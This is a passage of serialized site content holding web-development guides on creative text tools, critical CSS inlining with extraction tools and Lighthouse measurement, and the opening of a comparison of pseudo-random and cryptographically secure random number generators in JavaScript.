writing",[199,40663,40664,40667,40670],{},[216,40665,40666],{},"Title Case",[216,40668,40669],{},"Hello World",[216,40671,40672],{},"Article headlines, book titles",[199,40674,40675,40677,40680],{},[216,40676,23337],{},[216,40678,40679],{},"helloWorld",[216,40681,40682],{},"Programming variables",[199,40684,40685,40687,40690],{},[216,40686,23347],{},[216,40688,40689],{},"hello_world",[216,40691,40692],{},"Python variables, file names",[199,40694,40695,40698,40701],{},[216,40696,40697],{},"aLtErNaTiNg",[216,40699,40700],{},"hElLo WoRlD",[216,40702,40703],{},"Humor, retro internet style",[16,40705,40706],{},[47,40707,40533],{},[41,40709,40710,40713,40716],{},[44,40711,40712],{},"Quickly standardizing naming conventions across a codebase",[44,40714,40715],{},"Styling social media headlines for visual impact",[44,40717,40718],{},"Converting between programming conventions without manual retyping",[16,40720,40721],{},[47,40722,40552],{},[41,40724,40725,40728,40731],{},[44,40726,40727],{},"Title case tools struggle with edge cases (prepositions, hyphenated words)",[44,40729,40730],{},"Context matters — \"NASA\" in title case should not become \"Nasa\"",[44,40732,40733],{},"Always review automated case conversions before publishing",[11,40735,40737],{"id":40736},"emoji-and-decorative-text","Emoji and Decorative Text",[16,40739,40740],{},"Emoji tools insert relevant symbols into text, or replace words with emoji equivalents. Decorative text tools add flair through creative formatting — zalgo text, bubble letters, wide text, and other Unicode tricks.",[16,40742,40743],{},[47,40744,40533],{},[41,40746,40747,40750,40753],{},[44,40748,40749],{},"Social media posts where visual stops matter more than readability",[44,40751,40752],{},"Casual messaging",[44,40754,40755],{},"Event promotions and party invitations",[16,40757,40758],{},[47,40759,40552],{},[41,40761,40762,40765,40768],{},[44,40763,40764],{},"Screen readers handle emoji unpredictably — accessibility suffers",[44,40766,40767],{},"Unicode decorative text breaks search indexing",[44,40769,40770],{},"Different platforms render emoji differently",[16,40772,40773],{},"Use decorative text sparingly and never in contexts where accessibility is a priority.",[11,40775,40777],{"id":40776},"combining-multiple-tools","Combining Multiple Tools",[16,40779,40780],{},"The real power of creative text tools emerges when you chain them together. Here are practical combinations:",[33,40782,40784],{"id":40783},"handwriting-case-conversion","Handwriting + Case Conversion",[16,40786,40787],{},"Write your text in a case converter first — say, Title Case for a headline — then feed the result into a text-to-handwriting tool. The formal capitalization contrasts with the informal handwriting style for a striking effect.",[33,40789,40791],{"id":40790},"ascii-art-code-identify","ASCII Art + Code Identify",[16,40793,40794],{},"Generate ASCII art for a project logo, then use a case converter to ensure file names and variable names follow your team's naming convention. One tool handles the creative piece, the other handles consistency.",[33,40796,40798],{"id":40797},"lorem-ipsum-handwriting","Lorem Ipsum + Handwriting",[16,40800,40801],{},"Need realistic-looking handwritten placeholder content for a design mockup? Generate lorem ipsum at the right length, then convert it to handwriting. The result looks natural in a prototype without requiring real copy.",[33,40803,40805],{"id":40804},"emoji-case-conversion","Emoji + Case Conversion",[16,40807,40808],{},"ALL CAPS with emoji creates an upbeat, energetic tone for social announcements. Convert your headline to uppercase, then add contextual emoji at the start and end.",[11,40810,40812],{"id":40811},"applications-in-education","Applications in Education",[16,40814,40815],{},"Educators use creative text tools to make learning materials more engaging:",[41,40817,40818,40824,40830],{},[44,40819,40820,40823],{},[47,40821,40822],{},"Handwriting output"," mimics teacher annotations on worksheets, which students respond to more positively than printed text",[44,40825,40826,40829],{},[47,40827,40828],{},"ASCII art"," diagrams in coding exercises keep students interested without leaving the terminal environment",[44,40831,40832,40835],{},[47,40833,40834],{},"Case conversion"," helps students understand naming conventions by transforming their own variable names across styles (camelCase, snake_case, PascalCase)",[16,40837,40838],{},"Research on engagement suggests that visual variety in learning materials improves retention. Creative text tools provide that variety without requiring design skills.",[11,40840,40842],{"id":40841},"applications-in-marketing","Applications in Marketing",[16,40844,40845],{},"Marketers use creative text tools to break pattern fatigue in crowded channels:",[41,40847,40848,40854,40859],{},[44,40849,40850,40853],{},[47,40851,40852],{},"Handwriting-style images"," in email campaigns generate higher click-through rates than plain-text equivalents because they signal personal effort",[44,40855,40856,40858],{},[47,40857,40828],{}," in plain-text emails stands out precisely because most marketing emails are HTML-heavy",[44,40860,40861,40864],{},[47,40862,40863],{},"Alternating case text"," (sPoNgEbOb style) creates meme-adjacent content that performs well with younger audiences on social platforms",[16,40866,40867],{},"The key principle: in any channel where content looks uniform, creative text formats puncture the sameness and force attention.",[11,40869,1355],{"id":1354},[41,40871,40872,40875,40878,40881,40884,40887],{},[44,40873,40874],{},"Creative text tools turn plain words into visually distinctive formats — each category serves a different context",[44,40876,40877],{},"Text-to-handwriting works best for short, personal-feeling content like notes and annotations",[44,40879,40880],{},"ASCII art excels in plain-text-only environments such as terminals and code comments",[44,40882,40883],{},"Case converters save time on naming conventions and headline styling across codebases and content",[44,40885,40886],{},"Combining tools — handwriting plus case conversion, lorem ipsum plus handwriting — produces results no single tool can achieve alone",[44,40888,40889],{},"Both education and marketing benefit from the visual variety these tools provide",[11,40891,286],{"id":285},[16,40893,40894],{},"Start with our text-to-handwriting tool to see your words transformed into a handwritten image — choose your font, paper style, and export format in seconds.",[16,40896,40897],{},[98,40898,40900],{"href":40899},"\u002Ftools\u002Ftext-to-handwriting",[47,40901,40902],{},"Try the Text to Handwriting Tool",[11,40904,321],{"id":320},[41,40906,40907,40913],{},[44,40908,40909],{},[98,40910,40912],{"href":40911},"\u002Fguides\u002Fhandwriting-fonts-guide","Handwriting Fonts Guide: Best Script Fonts for Web and Print",[44,40914,40915],{},[98,40916,40918],{"href":40917},"\u002Fguides\u002Fdigital-handwriting-guide","Digital Handwriting Guide: Creating Realistic Handwritten Text Online",{"title":141,"searchDepth":337,"depth":337,"links":40920},[40921,40922,40923,40924,40925,40926,40932,40933,40934,40935,40936],{"id":40437,"depth":337,"text":40438},{"id":40525,"depth":337,"text":40461},{"id":40569,"depth":337,"text":40570},{"id":40620,"depth":337,"text":40621},{"id":40736,"depth":337,"text":40737},{"id":40776,"depth":337,"text":40777,"children":40927},[40928,40929,40930,40931],{"id":40783,"depth":343,"text":40784},{"id":40790,"depth":343,"text":40791},{"id":40797,"depth":343,"text":40798},{"id":40804,"depth":343,"text":40805},{"id":40811,"depth":337,"text":40812},{"id":40841,"depth":337,"text":40842},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Explore tools that turn ordinary text into ASCII art, handwriting, and creative formats for education and marketing.",{"keywords":40939},[40525,40940],"creative-text-tools","\u002Fguides\u002Fcreative-text-tools",{"title":40429,"description":40937},"guides\u002Fcreative-text-tools","zRGB5dTxynHQev1Qxk6ucY4Z0cEhgXcRyzUhXv8miYE",{"id":40946,"title":40947,"body":40948,"date":2070,"description":41616,"extension":361,"meta":41617,"navigation":363,"path":41618,"readingTime":1710,"seo":41619,"stem":41620,"__hash__":41621},"guides\u002Fguides\u002Fcritical-css-inlining.md","Critical CSS Inlining Guide",{"type":8,"value":40949,"toc":41605},[40950,40954,40960,40966,40970,40973,41020,41023,41048,41051,41055,41058,41286,41289,41310,41314,41317,41364,41374,41389,41424,41427,41431,41434,41460,41463,41467,41470,41491,41494,41542,41545,41549,41569,41571,41595,41597,41602],[11,40951,40953],{"id":40952},"what-is-critical-css","What Is Critical CSS?",[16,40955,40956,40957,40959],{},"When a browser loads a page, it must download and parse every linked CSS file before it can render any content. A stylesheet in the ",[143,40958,13169],{}," blocks rendering — even if 90% of its rules apply to elements below the fold. This delay is visible as a blank white screen, especially on slow connections.",[16,40961,40962,40963,40965],{},"Critical CSS is the subset of styles needed to render the above-the-fold content — everything visible in the viewport on initial load without scrolling. By inlining this CSS directly in the HTML ",[143,40964,13169],{}," and loading the remaining stylesheet asynchronously, you eliminate the render-blocking delay.",[11,40967,40969],{"id":40968},"the-render-blocking-problem","The Render-Blocking Problem",[16,40971,40972],{},"A typical page loads CSS like this:",[135,40974,40976],{"className":6417,"code":40975,"language":6419,"meta":141,"style":141},"\u003Chead>\n  \u003Clink rel=\"stylesheet\" href=\"\u002Fstyles.css\">\n\u003C\u002Fhead>\n",[143,40977,40978,40987,41012],{"__ignoreMap":141},[1560,40979,40980,40982,40985],{"class":1562,"line":1563},[1560,40981,6431],{"class":1570},[1560,40983,40984],{"class":2484},"head",[1560,40986,6441],{"class":1570},[1560,40988,40989,40991,40994,40997,40999,41002,41005,41007,41010],{"class":1562,"line":337},[1560,40990,11223],{"class":1570},[1560,40992,40993],{"class":2484},"link",[1560,40995,40996],{"class":1566}," rel",[1560,40998,7297],{"class":1570},[1560,41000,41001],{"class":5634},"\"stylesheet\"",[1560,41003,41004],{"class":1566}," href",[1560,41006,7297],{"class":1570},[1560,41008,41009],{"class":5634},"\"\u002Fstyles.css\"",[1560,41011,6441],{"class":1570},[1560,41013,41014,41016,41018],{"class":1562,"line":343},[1560,41015,11242],{"class":1570},[1560,41017,40984],{"class":2484},[1560,41019,6441],{"class":1570},[16,41021,41022],{},"The browser timeline looks like:",[77,41024,41025,41028,41035,41042,41045],{},[44,41026,41027],{},"Download HTML — wait for network",[44,41029,41030,41031,41034],{},"Parse HTML, find ",[143,41032,41033],{},"\u003Clink>"," — stop rendering",[44,41036,41037,41038,41041],{},"Download ",[143,41039,41040],{},"styles.css"," — wait for network again",[44,41043,41044],{},"Parse CSS, build CSSOM",[44,41046,41047],{},"Combine with DOM, render first pixel",[16,41049,41050],{},"Steps 2–4 add latency proportional to your CSS file size and network speed. A 200KB stylesheet on a 3G connection adds over one second of blank screen.",[11,41052,41054],{"id":41053},"how-critical-css-inlining-works","How Critical CSS Inlining Works",[16,41056,41057],{},"The optimized approach replaces the blocking link with inline styles and an asynchronous load:",[135,41059,41061],{"className":6417,"code":41060,"language":6419,"meta":141,"style":141},"\u003Chead>\n  \u003Cstyle>\n    \u002F* Critical CSS: only above-the-fold rules *\u002F\n    body { font-family: system-ui, sans-serif; margin: 0; }\n    .hero { background: #1e1b4b; color: white; padding: 4rem 2rem; }\n    .nav { display: flex; justify-content: space-between; padding: 1rem; }\n  \u003C\u002Fstyle>\n  \u003Clink rel=\"preload\" href=\"\u002Fstyles.css\" as=\"style\"\n        onload=\"this.rel='stylesheet'\">\n  \u003Cnoscript>\u003Clink rel=\"stylesheet\" href=\"\u002Fstyles.css\">\u003C\u002Fnoscript>\n\u003C\u002Fhead>\n",[143,41062,41063,41071,41079,41084,41114,41153,41189,41197,41224,41248,41278],{"__ignoreMap":141},[1560,41064,41065,41067,41069],{"class":1562,"line":1563},[1560,41066,6431],{"class":1570},[1560,41068,40984],{"class":2484},[1560,41070,6441],{"class":1570},[1560,41072,41073,41075,41077],{"class":1562,"line":337},[1560,41074,11223],{"class":1570},[1560,41076,2043],{"class":2484},[1560,41078,6441],{"class":1570},[1560,41080,41081],{"class":1562,"line":343},[1560,41082,41083],{"class":1649},"    \u002F* Critical CSS: only above-the-fold rules *\u002F\n",[1560,41085,41086,41089,41091,41094,41096,41099,41101,41104,41106,41108,41110,41112],{"class":1562,"line":365},[1560,41087,41088],{"class":2484},"    body",[1560,41090,1658],{"class":1570},[1560,41092,41093],{"class":1576},"font-family",[1560,41095,1663],{"class":1570},[1560,41097,41098],{"class":1576},"system-ui",[1560,41100,1459],{"class":1570},[1560,41102,41103],{"class":1576},"sans-serif",[1560,41105,3664],{"class":1570},[1560,41107,1876],{"class":1576},[1560,41109,1663],{"class":1570},[1560,41111,5285],{"class":1576},[1560,41113,1673],{"class":1570},[1560,41115,41116,41119,41121,41123,41125,41128,41130,41132,41134,41136,41138,41141,41143,41145,41147,41149,41151],{"class":1562,"line":889},[1560,41117,41118],{"class":1566},"    .hero",[1560,41120,1658],{"class":1570},[1560,41122,11362],{"class":1576},[1560,41124,1663],{"class":1570},[1560,41126,41127],{"class":1576},"#1e1b4b",[1560,41129,3664],{"class":1570},[1560,41131,12607],{"class":1576},[1560,41133,1663],{"class":1570},[1560,41135,2565],{"class":1576},[1560,41137,3664],{"class":1570},[1560,41139,41140],{"class":1576},"padding",[1560,41142,1663],{"class":1570},[1560,41144,12546],{"class":1576},[1560,41146,32215],{"class":1669},[1560,41148,9426],{"class":1576},[1560,41150,32215],{"class":1669},[1560,41152,1673],{"class":1570},[1560,41154,41155,41158,41160,41163,41165,41167,41169,41172,41174,41177,41179,41181,41183,41185,41187],{"class":1562,"line":1710},[1560,41156,41157],{"class":1566},"    .nav",[1560,41159,1658],{"class":1570},[1560,41161,41162],{"class":1576},"display",[1560,41164,1663],{"class":1570},[1560,41166,32187],{"class":1576},[1560,41168,3664],{"class":1570},[1560,41170,41171],{"class":1576},"justify-content",[1560,41173,1663],{"class":1570},[1560,41175,41176],{"class":1576},"space-between",[1560,41178,3664],{"class":1570},[1560,41180,41140],{"class":1576},[1560,41182,1663],{"class":1570},[1560,41184,3585],{"class":1576},[1560,41186,32215],{"class":1669},[1560,41188,1673],{"class":1570},[1560,41190,41191,41193,41195],{"class":1562,"line":1717},[1560,41192,12331],{"class":1570},[1560,41194,2043],{"class":2484},[1560,41196,6441],{"class":1570},[1560,41198,41199,41201,41203,41205,41207,41210,41212,41214,41216,41219,41221],{"class":1562,"line":1747},[1560,41200,11223],{"class":1570},[1560,41202,40993],{"class":2484},[1560,41204,40996],{"class":1566},[1560,41206,7297],{"class":1570},[1560,41208,41209],{"class":5634},"\"preload\"",[1560,41211,41004],{"class":1566},[1560,41213,7297],{"class":1570},[1560,41215,41009],{"class":5634},[1560,41217,41218],{"class":1566}," as",[1560,41220,7297],{"class":1570},[1560,41222,41223],{"class":5634},"\"style\"\n",[1560,41225,41226,41229,41231,41233,41236,41238,41241,41243,41246],{"class":1562,"line":2507},[1560,41227,41228],{"class":1566},"        onload",[1560,41230,7297],{"class":1570},[1560,41232,8721],{"class":5634},[1560,41234,41235],{"class":1576},"this",[1560,41237,468],{"class":5634},[1560,41239,41240],{"class":1570},"rel",[1560,41242,7297],{"class":1669},[1560,41244,41245],{"class":5634},"'stylesheet'\"",[1560,41247,6441],{"class":1570},[1560,41249,41250,41252,41255,41258,41260,41262,41264,41266,41268,41270,41272,41274,41276],{"class":1562,"line":2524},[1560,41251,11223],{"class":1570},[1560,41253,41254],{"class":2484},"noscript",[1560,41256,41257],{"class":1570},">\u003C",[1560,41259,40993],{"class":2484},[1560,41261,40996],{"class":1566},[1560,41263,7297],{"class":1570},[1560,41265,41001],{"class":5634},[1560,41267,41004],{"class":1566},[1560,41269,7297],{"class":1570},[1560,41271,41009],{"class":5634},[1560,41273,12441],{"class":1570},[1560,41275,41254],{"class":2484},[1560,41277,6441],{"class":1570},[1560,41279,41280,41282,41284],{"class":1562,"line":2529},[1560,41281,11242],{"class":1570},[1560,41283,40984],{"class":2484},[1560,41285,6441],{"class":1570},[16,41287,41288],{},"Now the browser:",[77,41290,41291,41294,41301,41307],{},[44,41292,41293],{},"Downloads HTML",[44,41295,41296,41297,41300],{},"Parses inline ",[143,41298,41299],{},"\u003Cstyle>"," — renders first pixel immediately",[44,41302,41303,41304,41306],{},"Preloads ",[143,41305,41040],{}," in the background",[44,41308,41309],{},"Applies full stylesheet when ready — no visible flash if critical CSS was accurate",[11,41311,41313],{"id":41312},"extracting-critical-css","Extracting Critical CSS",[16,41315,41316],{},"Manual extraction is impractical for real projects. Use one of these tools:",[193,41318,41319,41329],{},[196,41320,41321],{},[199,41322,41323,41325,41327],{},[202,41324,751],{},[202,41326,31483],{},[202,41328,489],{},[211,41330,41331,41342,41353],{},[199,41332,41333,41336,41339],{},[216,41334,41335],{},"Critical",[216,41337,41338],{},"Headless browser renders the page, captures used CSS",[216,41340,41341],{},"Static sites, SSG builds",[199,41343,41344,41347,41350],{},[216,41345,41346],{},"Penthouse",[216,41348,41349],{},"Opens URL at specific viewport, extracts matching rules",[216,41351,41352],{},"Multi-viewport extraction",[199,41354,41355,41358,41361],{},[216,41356,41357],{},"critters",[216,41359,41360],{},"Webpack plugin, integrates into build pipeline",[216,41362,41363],{},"Nuxt, Next.js, Vite projects",[16,41365,41366,41367,41370,41371,8037],{},"For Nuxt projects, the ",[143,41368,41369],{},"nuxt-critical"," module automates extraction during ",[143,41372,41373],{},"generate",[135,41375,41377],{"className":6951,"code":41376,"language":6953,"meta":141,"style":141},"npm install nuxt-critical\n",[143,41378,41379],{"__ignoreMap":141},[1560,41380,41381,41384,41386],{"class":1562,"line":1563},[1560,41382,41383],{"class":1566},"npm",[1560,41385,9023],{"class":5634},[1560,41387,41388],{"class":5634}," nuxt-critical\n",[135,41390,41392],{"className":17509,"code":41391,"language":17511,"meta":141,"style":141},"\u002F\u002F nuxt.config.ts\nexport default defineNuxtConfig({\n  modules: ['nuxt-critical'],\n})\n",[143,41393,41394,41399,41410,41420],{"__ignoreMap":141},[1560,41395,41396],{"class":1562,"line":1563},[1560,41397,41398],{"class":1649},"\u002F\u002F nuxt.config.ts\n",[1560,41400,41401,41403,41405,41408],{"class":1562,"line":337},[1560,41402,9187],{"class":1669},[1560,41404,11837],{"class":1669},[1560,41406,41407],{"class":1566}," defineNuxtConfig",[1560,41409,17525],{"class":1570},[1560,41411,41412,41415,41418],{"class":1562,"line":343},[1560,41413,41414],{"class":1570},"  modules: [",[1560,41416,41417],{"class":5634},"'nuxt-critical'",[1560,41419,12044],{"class":1570},[1560,41421,41422],{"class":1562,"line":365},[1560,41423,1626],{"class":1570},[16,41425,41426],{},"It extracts critical CSS per route during SSG and inlines it automatically.",[11,41428,41430],{"id":41429},"avoiding-the-flash-of-unstyled-content","Avoiding the Flash of Unstyled Content",[16,41432,41433],{},"If your critical CSS misses rules for above-the-fold elements, users see a brief flash of unstyled content (FOUC) before the full stylesheet loads. To minimize this:",[41,41435,41436,41439,41454,41457],{},[44,41437,41438],{},"Extract critical CSS at the most common viewport (1366×768 or 1440×900).",[44,41440,41441,41442,1459,41444,1811,41447,1459,41450,1459,41452,468],{},"Include base typography — ",[143,41443,2485],{},[143,41445,41446],{},"h1",[143,41448,41449],{},"h6",[143,41451,16],{},[143,41453,98],{},[44,41455,41456],{},"Include layout containers visible without scrolling.",[44,41458,41459],{},"Include any above-the-fold images or backgrounds referenced in CSS.",[16,41461,41462],{},"A good rule of thumb: if an element occupies space above the fold, its layout and typography styles belong in critical CSS.",[11,41464,41466],{"id":41465},"measuring-the-impact","Measuring the Impact",[16,41468,41469],{},"Use Lighthouse or Chrome DevTools to measure First Contentful Paint (FCP) before and after inlining:",[135,41471,41473],{"className":6951,"code":41472,"language":6953,"meta":141,"style":141},"npx lighthouse https:\u002F\u002Fyour-site.com --view --output=html\n",[143,41474,41475],{"__ignoreMap":141},[1560,41476,41477,41479,41482,41485,41488],{"class":1562,"line":1563},[1560,41478,11016],{"class":1566},[1560,41480,41481],{"class":5634}," lighthouse",[1560,41483,41484],{"class":5634}," https:\u002F\u002Fyour-site.com",[1560,41486,41487],{"class":1576}," --view",[1560,41489,41490],{"class":1576}," --output=html\n",[16,41492,41493],{},"Typical improvements:",[193,41495,41496,41508],{},[196,41497,41498],{},[199,41499,41500,41502,41505],{},[202,41501,15609],{},[202,41503,41504],{},"Before Inlining",[202,41506,41507],{},"After Inlining",[211,41509,41510,41521,41531],{},[199,41511,41512,41515,41518],{},[216,41513,41514],{},"FCP",[216,41516,41517],{},"2.4s",[216,41519,41520],{},"0.9s",[199,41522,41523,41526,41529],{},[216,41524,41525],{},"Render-blocking resources",[216,41527,41528],{},"2 CSS files",[216,41530,5285],{},[199,41532,41533,41536,41539],{},[216,41534,41535],{},"Largest Contentful Paint",[216,41537,41538],{},"3.1s",[216,41540,41541],{},"1.8s",[16,41543,41544],{},"Results vary by site, but FCP improvements of 40–60% are common when moving from a single large blocking stylesheet to critical CSS inlining.",[11,41546,41548],{"id":41547},"limitations-and-trade-offs","Limitations and Trade-offs",[41,41550,41551,41557,41563],{},[44,41552,41553,41556],{},[47,41554,41555],{},"HTML size increases"," — inline CSS adds kilobytes to every HTML response and cannot be cached separately. Keep critical CSS under 14KB (the typical TCP window size) for maximum benefit.",[44,41558,41559,41562],{},[47,41560,41561],{},"Maintenance burden"," — critical CSS must be re-extracted when above-the-fold design changes. Automate this in your build pipeline.",[44,41564,41565,41568],{},[47,41566,41567],{},"Not needed for HTTP\u002F2 multiplexed small files"," — if your architecture already splits CSS into many small, cached chunks, the render-blocking delay is minimal and inlining provides less benefit.",[11,41570,1355],{"id":1354},[41,41572,41573,41576,41579,41586,41589,41592],{},[44,41574,41575],{},"Critical CSS is the minimum CSS needed to render above-the-fold content.",[44,41577,41578],{},"Inlining critical CSS eliminates render-blocking stylesheet delays.",[44,41580,41581,41582,41585],{},"Load remaining CSS asynchronously via ",[143,41583,41584],{},"rel=\"preload\""," with a stylesheet fallback.",[44,41587,41588],{},"Automate extraction with tools like Critical, Penthouse, or nuxt-critical.",[44,41590,41591],{},"Keep inline critical CSS under 14KB to stay within the initial TCP window.",[44,41593,41594],{},"Re-extract critical CSS whenever your design changes — integrate into your build pipeline.",[11,41596,286],{"id":285},[16,41598,41599,41600,468],{},"Shrink your CSS payload by minifying your stylesheets with the ",[98,41601,21372],{"href":21371},[2043,41603,41604],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":41606},[41607,41608,41609,41610,41611,41612,41613,41614,41615],{"id":40952,"depth":337,"text":40953},{"id":40968,"depth":337,"text":40969},{"id":41053,"depth":337,"text":41054},{"id":41312,"depth":337,"text":41313},{"id":41429,"depth":337,"text":41430},{"id":41465,"depth":337,"text":41466},{"id":41547,"depth":337,"text":41548},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Extract and inline above-the-fold CSS to eliminate render-blocking stylesheets.",{"immutable":363},"\u002Fguides\u002Fcritical-css-inlining",{"title":40947,"description":41616},"guides\u002Fcritical-css-inlining","q0uAnvn-n9Ue_ruuOthGPJxHn3MojrBNkdAGCeFc7BE",{"id":41623,"title":41624,"body":41625,"date":2070,"description":42560,"extension":361,"meta":42561,"navigation":363,"path":42565,"readingTime":1717,"seo":42566,"stem":42567,"__hash__":42568},"guides\u002Fguides\u002Fcryptographic-vs-pseudo-random-numbers.md","Cryptographic vs Pseudo-Random Numbers: When Security Matters",{"type":8,"value":41626,"toc":42545},[41627,41631,41642,41645,41648,41655,41659,41666,41767,41770,41776,41780,41783,41803,41809,41867,41870,41979,41983,42099,42105,42109,42113,42245,42251,42255,42319,42323,42462,42464,42467,42487,42490,42492,42514,42516,42524,42526,42542],[11,41628,41630],{"id":41629},"two-kinds-of-random","Two Kinds of Random",[16,41632,41633,41634,41637,41638,41641],{},"Computers cannot produce true randomness — they are deterministic machines. Instead, they use algorithms to generate sequences that ",[7310,41635,41636],{},"look"," random. These are called ",[47,41639,41640],{},"pseudo-random number generators"," (PRNGs).",[16,41643,41644],{},"For most applications, pseudo-randomness is fine. Shuffling a playlist, picking a background color, or generating test data — the output just needs to be unpredictable, not unbreakable.",[16,41646,41647],{},"But when security depends on the randomness — passwords, encryption keys, session tokens — pseudo-randomness is dangerous. An attacker who understands the PRNG state can predict future outputs.",[16,41649,41650,41651,41654],{},"That is where ",[47,41652,41653],{},"cryptographically secure pseudo-random number generators"," (CSPRNGs) come in.",[11,41656,41658],{"id":41657},"how-prngs-work","How PRNGs Work",[16,41660,41661,41662,41665],{},"A PRNG starts from a ",[47,41663,41664],{},"seed"," value and applies a deterministic algorithm to produce a sequence. The same seed always produces the same sequence.",[135,41667,41669],{"className":1607,"code":41668,"language":1609,"meta":141,"style":141},"\u002F\u002F Simple PRNG: Linear Congruential Generator (illustrative only)\nlet seed = 12345;\nfunction lcg() {\n  seed = (seed * 1103515245 + 12345) & 0x7fffffff;\n  return seed \u002F 0x7fffffff;\n}\n\nlcg(); \u002F\u002F 0.5823...\nlcg(); \u002F\u002F 0.1267...\n",[143,41670,41671,41676,41691,41700,41728,41740,41744,41748,41758],{"__ignoreMap":141},[1560,41672,41673],{"class":1562,"line":1563},[1560,41674,41675],{"class":1649},"\u002F\u002F Simple PRNG: Linear Congruential Generator (illustrative only)\n",[1560,41677,41678,41681,41684,41686,41689],{"class":1562,"line":337},[1560,41679,41680],{"class":1669},"let",[1560,41682,41683],{"class":1570}," seed ",[1560,41685,7297],{"class":1669},[1560,41687,41688],{"class":1576}," 12345",[1560,41690,2228],{"class":1570},[1560,41692,41693,41695,41698],{"class":1562,"line":343},[1560,41694,8648],{"class":1669},[1560,41696,41697],{"class":1566}," lcg",[1560,41699,8654],{"class":1570},[1560,41701,41702,41705,41707,41710,41712,41715,41717,41719,41721,41723,41726],{"class":1562,"line":365},[1560,41703,41704],{"class":1570},"  seed ",[1560,41706,7297],{"class":1669},[1560,41708,41709],{"class":1570}," (seed ",[1560,41711,8069],{"class":1669},[1560,41713,41714],{"class":1576}," 1103515245",[1560,41716,29002],{"class":1669},[1560,41718,41688],{"class":1576},[1560,41720,1733],{"class":1570},[1560,41722,13530],{"class":1669},[1560,41724,41725],{"class":1576}," 0x7fffffff",[1560,41727,2228],{"class":1570},[1560,41729,41730,41732,41734,41736,41738],{"class":1562,"line":889},[1560,41731,9350],{"class":1669},[1560,41733,41683],{"class":1570},[1560,41735,9423],{"class":1669},[1560,41737,41725],{"class":1576},[1560,41739,2228],{"class":1570},[1560,41741,41742],{"class":1562,"line":1710},[1560,41743,1585],{"class":1570},[1560,41745,41746],{"class":1562,"line":1717},[1560,41747,1702],{"emptyLinePlaceholder":363},[1560,41749,41750,41753,41755],{"class":1562,"line":1747},[1560,41751,41752],{"class":1566},"lcg",[1560,41754,34220],{"class":1570},[1560,41756,41757],{"class":1649},"\u002F\u002F 0.5823...\n",[1560,41759,41760,41762,41764],{"class":1562,"line":2507},[1560,41761,41752],{"class":1566},[1560,41763,34220],{"class":1570},[1560,41765,41766],{"class":1649},"\u002F\u002F 0.1267...\n",[16,41768,41769],{},"If you know the seed and the algorithm, you can reproduce every number — past and future. This predictability is the fundamental weakness.",[16,41771,13680,41772,41775],{},[143,41773,41774],{},"Math.random()"," is a PRNG. The exact algorithm varies by browser (V8 uses xorshift128+), but all share the same property: not cryptographically secure.",[11,41777,41779],{"id":41778},"how-csprngs-differ","How CSPRNGs Differ",[16,41781,41782],{},"A CSPRNG adds three properties on top of statistical randomness:",[77,41784,41785,41791,41797],{},[44,41786,41787,41790],{},[47,41788,41789],{},"Next-bit unpredictability",": Given all previous outputs, the next bit cannot be predicted with probability better than 50%",[44,41792,41793,41796],{},[47,41794,41795],{},"Backtracking resistance",": Even if the internal state is compromised, previous outputs cannot be reconstructed",[44,41798,41799,41802],{},[47,41800,41801],{},"Entropy harvesting",": The generator collects randomness from hardware or OS events (timing, thermal noise, mouse movements) to seed itself",[16,41804,41805,41806,8037],{},"In JavaScript, the CSPRNG is ",[143,41807,41808],{},"crypto.getRandomValues()",[135,41810,41812],{"className":1607,"code":41811,"language":1609,"meta":141,"style":141},"\u002F\u002F Cryptographically secure random bytes\nconst array = new Uint32Array(1);\ncrypto.getRandomValues(array);\nconsole.log(array[0]); \u002F\u002F Unpredictable, even to an attacker\n",[143,41813,41814,41819,41839,41850],{"__ignoreMap":141},[1560,41815,41816],{"class":1562,"line":1563},[1560,41817,41818],{"class":1649},"\u002F\u002F Cryptographically secure random bytes\n",[1560,41820,41821,41823,41826,41828,41830,41833,41835,41837],{"class":1562,"line":337},[1560,41822,8180],{"class":1669},[1560,41824,41825],{"class":1576}," array",[1560,41827,8186],{"class":1669},[1560,41829,11489],{"class":1669},[1560,41831,41832],{"class":1566}," Uint32Array",[1560,41834,1688],{"class":1570},[1560,41836,3585],{"class":1576},[1560,41838,1744],{"class":1570},[1560,41840,41841,41844,41847],{"class":1562,"line":343},[1560,41842,41843],{"class":1570},"crypto.",[1560,41845,41846],{"class":1566},"getRandomValues",[1560,41848,41849],{"class":1570},"(array);\n",[1560,41851,41852,41854,41856,41859,41861,41864],{"class":1562,"line":365},[1560,41853,8211],{"class":1570},[1560,41855,8214],{"class":1566},[1560,41857,41858],{"class":1570},"(array[",[1560,41860,5285],{"class":1576},[1560,41862,41863],{"class":1570},"]); ",[1560,41865,41866],{"class":1649},"\u002F\u002F Unpredictable, even to an attacker\n",[16,41868,41869],{},"In Node.js:",[135,41871,41873],{"className":1607,"code":41872,"language":1609,"meta":141,"style":141},"const crypto = require('crypto');\n\n\u002F\u002F Secure random bytes\nconst bytes = 